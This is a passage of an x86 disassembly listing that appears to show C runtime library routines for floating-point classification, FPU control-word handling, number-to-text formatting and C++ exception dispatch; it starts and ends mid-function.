test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_4215E1
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_4217E9
lea eax, [ebp+var_20]
push eax
call sub_42401D
add esp, 0Ch
test eax, eax
jnz short loc_4215DB
push esi
call sub_4215FE
pop ecx
loc_4215DB: ; CODE XREF: sub_421576+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4215E1: ; CODE XREF: sub_421576+14j
push 0FFFFh
push [ebp+arg_20]
call sub_4217E9
push [ebp+arg_0]
call sub_4215FE
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_421576 endp
; =============== S U B R O U T I N E =======================================
sub_4215FE proc near ; CODE XREF: sub_421014+7Dp
; sub_421576+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_421619
jle short locret_421623
cmp eax, 3
jg short locret_421623
mov dword_4DB278, 22h
retn
; ---------------------------------------------------------------------------
loc_421619: ; CODE XREF: sub_4215FE+7j
mov dword_4DB278, 21h
locret_421623: ; CODE XREF: sub_4215FE+9j
; sub_4215FE+Ej
retn
sub_4215FE endp
; =============== S U B R O U T I N E =======================================
sub_421624 proc near ; CODE XREF: sub_421576+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43C788
loc_42162B: ; CODE XREF: sub_421624+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421641
add eax, 8
inc ecx
cmp eax, offset dbl_43C860
jl short loc_42162B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421641: ; CODE XREF: sub_421624+Dj
mov eax, off_43C78C[ecx*8]
retn
sub_421624 endp
; =============== S U B R O U T I N E =======================================
sub_421649 proc near ; CODE XREF: sub_421014+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_421655
push 5
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_421655: ; CODE XREF: sub_421649+6j
test al, 8
jz short loc_42165D
push 1
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_42165D: ; CODE XREF: sub_421649+Ej
test al, 4
jz short loc_421665
push 2
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_421665: ; CODE XREF: sub_421649+16j
test al, 1
jz short loc_42166D
push 3
loc_42166B: ; CODE XREF: sub_421649+Aj
; sub_421649+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_42166D: ; CODE XREF: sub_421649+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_421649 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421676(double)
sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp
; sub_41C7BF:loc_41C845p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_421676 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421688(double,int)
sub_421688 proc near ; CODE XREF: sub_42170B+82p
; sub_42170B+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_421688 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4216B1 proc near ; CODE XREF: sub_41C679+31p
; sub_41C7BF+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_4216C8
cmp [ebp+arg_0], edx
jnz short loc_4216DA
push 1
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216C8: ; CODE XREF: sub_4216B1+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_4216DA
cmp [ebp+arg_0], edx
jnz short loc_4216DA
push 2
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216DA: ; CODE XREF: sub_4216B1+11j
; sub_4216B1+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_4216ED
push 3
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216ED: ; CODE XREF: sub_4216B1+36j
cmp cx, 7FF0h
jnz short loc_421707
test [ebp+arg_4], 7FFFFh
jnz short loc_421702
cmp [ebp+arg_0], edx
jz short loc_421707
loc_421702: ; CODE XREF: sub_4216B1+4Aj
push 4
loc_421704: ; CODE XREF: sub_4216B1+15j
; sub_4216B1+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421707: ; CODE XREF: sub_4216B1+41j
; sub_4216B1+4Fj
xor eax, eax
pop ebp
retn
sub_4216B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42170B(double,int)
sub_42170B proc near ; CODE XREF: sub_42135F+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_427880
push esi
fnstsw ax
sahf
jnz short loc_42172B
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_4217C1
; ---------------------------------------------------------------------------
loc_42172B: ; CODE XREF: sub_42170B+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_42179A
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421743
cmp dword ptr [ebp+arg_0], ecx
jz short loc_42179A
loc_421743: ; CODE XREF: sub_42170B+31j
fld [ebp+arg_0]
fcomp dbl_427880
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_42175B
push 1
pop eax
jmp short loc_42175D
; ---------------------------------------------------------------------------
loc_42175B: ; CODE XREF: sub_42170B+49j
xor eax, eax
loc_42175D: ; CODE XREF: sub_42170B+4Ej
; sub_42170B+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_421776
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_421770
or dword ptr [ebp+arg_0+4], 1
loc_421770: ; CODE XREF: sub_42170B+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_42175D
; ---------------------------------------------------------------------------
loc_421776: ; CODE XREF: sub_42170B+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_421784
or byte ptr [ebp+arg_0+7], 80h
loc_421784: ; CODE XREF: sub_42170B+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421688
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_4217C1
; ---------------------------------------------------------------------------
loc_42179A: ; CODE XREF: sub_42170B+28j
; sub_42170B+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421688
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_4217C1: ; CODE XREF: sub_42170B+1Bj
; sub_42170B+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_42170B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_4217CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217DA proc near ; CODE XREF: sub_4210AC+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_4217DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217E9 proc near ; CODE XREF: sub_41C679+13p
; sub_41C679+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_4217E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42180C proc near ; CODE XREF: sub_42135F+1Dp
; sub_42135F+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_421823
fld tbyte_43C888
fistp [ebp+arg_0]
wait
loc_421823: ; CODE XREF: sub_42180C+Bj
test cl, 8
jz short loc_421838
fstsw ax
fld tbyte_43C888
fstp [ebp+var_8]
wait
fstsw ax
loc_421838: ; CODE XREF: sub_42180C+1Aj
test cl, 10h
jz short loc_421847
fld tbyte_43C894
fstp [ebp+var_8]
wait
loc_421847: ; CODE XREF: sub_42180C+2Fj
test cl, 4
jz short loc_421855
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_421855: ; CODE XREF: sub_42180C+3Ej
test cl, 20h
jz short locret_421860
fldpi
fstp [ebp+var_8]
wait
locret_421860: ; CODE XREF: sub_42180C+4Cj
leave
retn
sub_42180C endp
; =============== S U B R O U T I N E =======================================
sub_421862 proc near ; CODE XREF: sub_41C748+Fp
push 30000h
push 10000h
call sub_424055
pop ecx
pop ecx
retn
sub_421862 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_427890
fstp [ebp+var_8]
fld dbl_427888
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_427718
fnstsw ax
sahf
jbe short loc_4218AE
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4218AE: ; CODE XREF: sub_421874+33j
xor eax, eax
leave
retn
sub_421874 endp
; =============== S U B R O U T I N E =======================================
sub_4218B2 proc near ; CODE XREF: sub_41C748+5p
push offset aKernel32 ; "KERNEL32"
call near ptr 2680000h
nop
test eax, eax
jz short loc_4218D6
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
nop
call near ptr 26A036Bh
test eax, eax
jz short loc_4218D6
push 0
call eax ; sub_41C748
retn
; ---------------------------------------------------------------------------
loc_4218D6: ; CODE XREF: sub_4218B2+Dj
; sub_4218B2+1Dj
jmp sub_421874
sub_4218B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp
; DATA XREF: sub_41C760+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41D74C
cmp eax, 65h
pop ecx
jz short loc_42191B
loc_4218EF: ; CODE XREF: sub_4218DB+3Ej
inc esi
cmp dword_43C504, 1
jle short loc_421908
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_421917
; ---------------------------------------------------------------------------
loc_421908: ; CODE XREF: sub_4218DB+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43C2F8
mov al, [ecx+eax*2]
and eax, 4
loc_421917: ; CODE XREF: sub_4218DB+2Bj
test eax, eax
jnz short loc_4218EF
loc_42191B: ; CODE XREF: sub_4218DB+12j
mov cl, byte_43C508
mov al, [esi]
mov [esi], cl
inc esi
loc_421926: ; CODE XREF: sub_4218DB+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_421926
pop esi
retn
sub_4218DB endp
; =============== S U B R O U T I N E =======================================
sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p
; DATA XREF: sub_41C760+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43C508
mov cl, [eax]
test cl, cl
jz short loc_421951
loc_421945: ; CODE XREF: sub_421935+1Aj
cmp cl, dl
jz short loc_421951
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_421945
loc_421951: ; CODE XREF: sub_421935+Ej
; sub_421935+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_421982
loc_421958: ; CODE XREF: sub_421935+34j
mov cl, [eax]
test cl, cl
jz short loc_42196B
cmp cl, 65h
jz short loc_42196B
cmp cl, 45h
jz short loc_42196B
inc eax
jmp short loc_421958
; ---------------------------------------------------------------------------
loc_42196B: ; CODE XREF: sub_421935+27j
; sub_421935+2Cj ...
mov ecx, eax
loc_42196D: ; CODE XREF: sub_421935+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_42196D
cmp [eax], dl
jnz short loc_421978
dec eax
loc_421978: ; CODE XREF: sub_421935+40j
; sub_421935+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_421978
locret_421982: ; CODE XREF: sub_421935+21j
retn
sub_421935 endp
; =============== S U B R O U T I N E =======================================
sub_421983 proc near ; DATA XREF: sub_41C760+28o
; ___:off_43C8B0o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_427880
fnstsw ax
sahf
jb short loc_421998
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_421998: ; CODE XREF: sub_421983+Fj
xor eax, eax
retn
sub_421983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42199B proc near ; CODE XREF: sub_420510+430p
; DATA XREF: sub_41C760+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_4219C4
lea eax, [ebp+var_8]
push eax
call sub_424518
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_4219C4: ; CODE XREF: sub_42199B+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424545
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_42199B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4219D9 proc near ; CODE XREF: sub_421C56+17p
; sub_421CA0+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4DB310, 0
push ebx
push esi
jz short loc_421A0E
mov ebx, [ebp+arg_8]
mov eax, dword_4DB30C
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_421CF1
pop ecx
pop ecx
jmp short loc_421A46
; ---------------------------------------------------------------------------
loc_421A0E: ; CODE XREF: sub_4219D9+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_4245E9
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_424572
add esp, 14h
loc_421A46: ; CODE XREF: sub_4219D9+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_421A52
mov byte ptr [eax], 2Dh
inc eax
loc_421A52: ; CODE XREF: sub_4219D9+73j
test ebx, ebx
jle short loc_421A6A
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43C508
mov eax, edi
pop edi
mov [eax], cl
loc_421A6A: ; CODE XREF: sub_4219D9+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4DB310, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41BEB0
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_421A91
mov byte ptr [ecx], 45h
loc_421A91: ; CODE XREF: sub_4219D9+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_421AD6
mov ebx, [esi+4]
dec ebx
jns short loc_421AA5
neg ebx
mov byte ptr [ecx], 2Dh
loc_421AA5: ; CODE XREF: sub_4219D9+C5j
inc ecx
cmp ebx, 64h
jl short loc_421ABC
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421ABC: ; CODE XREF: sub_4219D9+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_421AD3
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421AD3: ; CODE XREF: sub_4219D9+E7j
add [ecx+1], bl
loc_421AD6: ; CODE XREF: sub_4219D9+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_4219D9 endp
; =============== S U B R O U T I N E =======================================
sub_421ADD proc near ; CODE XREF: sub_421C7D+13p
; sub_421CA0+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4DB310, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_421B18
mov eax, dword_4DB314
mov ebx, [esp+10h+arg_8]
mov esi, dword_4DB30C
cmp eax, ebx
jnz short loc_421B48
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_421B48
; ---------------------------------------------------------------------------
loc_421B18: ; CODE XREF: sub_421ADD+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_4245E9
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_424572
add esp, 14h
loc_421B48: ; CODE XREF: sub_421ADD+22j
; sub_421ADD+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_421B56
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_421B56: ; CODE XREF: sub_421ADD+70j
mov eax, [esi+4]
test eax, eax
jg short loc_421B6D
push 1
push edi
call sub_421CF1
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_421B6F
; ---------------------------------------------------------------------------
loc_421B6D: ; CODE XREF: sub_421ADD+7Ej
add edi, eax
loc_421B6F: ; CODE XREF: sub_421ADD+8Ej
test ebx, ebx
jle short loc_421BB4
push 1
push edi
call sub_421CF1
mov al, byte_43C508
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_421BB4
cmp byte_4DB310, 0
jz short loc_421B99
neg esi
jmp short loc_421B9F
; ---------------------------------------------------------------------------
loc_421B99: ; CODE XREF: sub_421ADD+B6j
neg esi
cmp ebx, esi
jl short loc_421BA1
loc_421B9F: ; CODE XREF: sub_421ADD+BAj
mov ebx, esi
loc_421BA1: ; CODE XREF: sub_421ADD+C0j
push ebx
push edi
call sub_421CF1
push ebx
push 30h
push edi
call sub_41B590
add esp, 14h
loc_421BB4: ; CODE XREF: sub_421ADD+94j
; sub_421ADD+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_421ADD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BBB proc near ; CODE XREF: sub_421CA0+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_4245E9
mov dword_4DB30C, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4DB314, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_424572
mov eax, dword_4DB30C
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4DB314, ecx
setl cl
mov byte_4DB318, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4DB314, eax
jl short loc_421C41
cmp eax, ebx
jge short loc_421C41
test cl, cl
jz short loc_421C32
loc_421C28: ; CODE XREF: sub_421BBB+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_421C28
and [esi-2], al
loc_421C32: ; CODE XREF: sub_421BBB+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_421C7D
add esp, 0Ch
jmp short loc_421C51
; ---------------------------------------------------------------------------
loc_421C41: ; CODE XREF: sub_421BBB+63j
; sub_421BBB+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_421C56
add esp, 10h
loc_421C51: ; CODE XREF: sub_421BBB+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_421BBB endp
; =============== S U B R O U T I N E =======================================
sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4DB310, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_4219D9
and byte_4DB310, 0
add esp, 10h
retn
sub_421C56 endp
; =============== S U B R O U T I N E =======================================
sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4DB310, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_421ADD
and byte_4DB310, 0
add esp, 0Ch
retn
sub_421C7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp
; DATA XREF: sub_41C760o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_421CDB
cmp [ebp+arg_8], 45h
jz short loc_421CDB
cmp [ebp+arg_8], 66h
jnz short loc_421CC8
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421ADD
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421CC8: ; CODE XREF: sub_421CA0+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421BBB
jmp short loc_421CEC
; ---------------------------------------------------------------------------
loc_421CDB: ; CODE XREF: sub_421CA0+7j
; sub_421CA0+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4219D9
loc_421CEC: ; CODE XREF: sub_421CA0+39j
add esp, 10h
pop ebp
retn
sub_421CA0 endp
; =============== S U B R O U T I N E =======================================
sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp
; sub_421ADD+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_421D14
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41AFE0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41CC90
add esp, 10h
pop esi
loc_421D14: ; CODE XREF: sub_421CF1+7j
pop edi
retn
sub_421CF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421D16 proc near ; CODE XREF: ___:0041C940p
; sub_41C9A9+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_421D2C
call sub_4225B2
loc_421D2C: ; CODE XREF: sub_421D16+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_421D54
cmp dword ptr [esi+4], 0
jz short loc_421DAA
cmp [ebp+arg_14], 0
jnz short loc_421DAA
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_42205D
add esp, 10h
jmp short loc_421DAA
; ---------------------------------------------------------------------------
loc_421D54: ; CODE XREF: sub_421D16+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_421DAA
cmp dword ptr [eax], 0E06D7363h
jnz short loc_421D8E
cmp [eax+14h], edi
jbe short loc_421D8E
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_421D8E
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_421DAD
; ---------------------------------------------------------------------------
loc_421D8E: ; CODE XREF: sub_421D16+4Aj
; sub_421D16+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_421DB1
add esp, 20h
loc_421DAA: ; CODE XREF: sub_421D16+23j
; sub_421D16+29j ...
push 1
pop eax
loc_421DAD: ; CODE XREF: sub_421D16+76j
pop edi
pop esi
pop ebp
retn
sub_421D16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_421DD1
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_421DD6
loc_421DD1: ; CODE XREF: sub_421DB1+16j
call sub_4225B2
loc_421DD6: ; CODE XREF: sub_421DB1+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz short loc_421E4A
cmp [esi+14h], edi
jnz short loc_421E4A
cmp dword ptr [esi+1Ch], 0
jnz short loc_421E4A
mov esi, dword_4DB31C
test esi, esi
jz loc_421F28
mov eax, dword_4DB320
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_424770
pop ecx
test eax, eax
pop ecx
jnz short loc_421E2C
call sub_4225B2
loc_421E2C: ; CODE XREF: sub_421DB1+74j
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz short loc_421E4A
cmp [esi+14h], edi
jnz short loc_421E4A
cmp dword ptr [esi+1Ch], 0
jnz short loc_421E4A
call sub_4225B2
loc_421E4A: ; CODE XREF: sub_421DB1+41j
; sub_421DB1+46j ...
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz loc_421F2D
cmp [esi+14h], edi
jnz loc_421F2D
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41CAF7
add esp, 14h
mov ebx, eax
loc_421E81: ; CODE XREF: sub_421DB1+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_421F18
cmp [ebx], edi
jg short loc_421F0D
